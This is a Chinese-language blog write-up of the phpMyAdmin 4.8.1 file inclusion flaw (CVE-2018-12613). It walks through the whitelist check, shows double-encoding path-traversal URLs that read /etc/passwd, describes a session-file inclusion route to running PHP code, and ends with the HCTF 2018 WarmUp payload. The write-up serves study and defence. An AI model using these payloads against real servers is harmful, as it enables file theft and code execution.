phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

博客的迁移,把之前的phpmyadmin的合集分析给拆分了一下。

漏洞分析

文件: phpMyAdmin-4.8.1-all-languages.zip

漏洞核心:/index.php 具有 include $_REQUEST['target']; ——》LFI

限制如下:

$target_blacklist = array (
'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
  1. target不为空
  2. target是一个字符串
  3. target开头不能为 index
  4. target不在黑名单内,只要不是 import.php 或 export.php 就行
  5. target要经过 Core 类的 checkPageValidity 方法

跟进 Core 类的 checkPageValidity 方法

public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
...
);

public static function checkPageValidity(&$page, array $whitelist = [])
{
// 判断 $whitelist 是否为空,如果为空则取默认的一组
if (empty($whitelist)) { // 当从 index.php 传进来时会进入这里
$whitelist = self::$goto_whitelist;
}

if (! isset($page) || !is_string($page)) {
return false;
}

// 判断 $page 是否在白名单
if (in_array($page, $whitelist)) {
return true;
}

// 分割 $page 的参数,取 ? 前的文件名,判断是否在白名单内
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

// url 解码后执行和上一步相同的操作
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

Bypass核心思路: urldecode(),利用二次编码绕过

漏洞利用

搭建环境:vulhub

漏洞路径:/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

这里演示一下读取 /etc/passwd 文件

或者可以包含 session 文件

首先在 SQL 查询处执行 SELECT '<?=phpinfo()?>';

然后在 cookie 里复制自己的 sessionid

访问 session 存放路径 /tmp/sess_你的sessionid

这里访问:
http://xxx.com/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_a23f4cdd98874767ea200097db94d9b8

CTF例子

题目来源:HCTF - 2018 - WarmUp

类似 phpmyadmin 文件包含那个洞,核心代码 include $_REQUEST['file'];
之前需要满足三个条件:

  1. file不为空

  2. file为一个字符串

  3. 调用自定义方法checkfile进行检测

    跟进checkfile方法,主要逻辑是用mb_strpos函数截取了 page 变量,然后经过一个白名单判断。由于只截取第一个 ? 出现前的字符串,所以再用 ../ 跳转目录,造成了读取。

hint.php

flag not here, and flag in ffffllllaaaagggg

最终payload file=source.php?/../../../../../ffffllllaaaagggg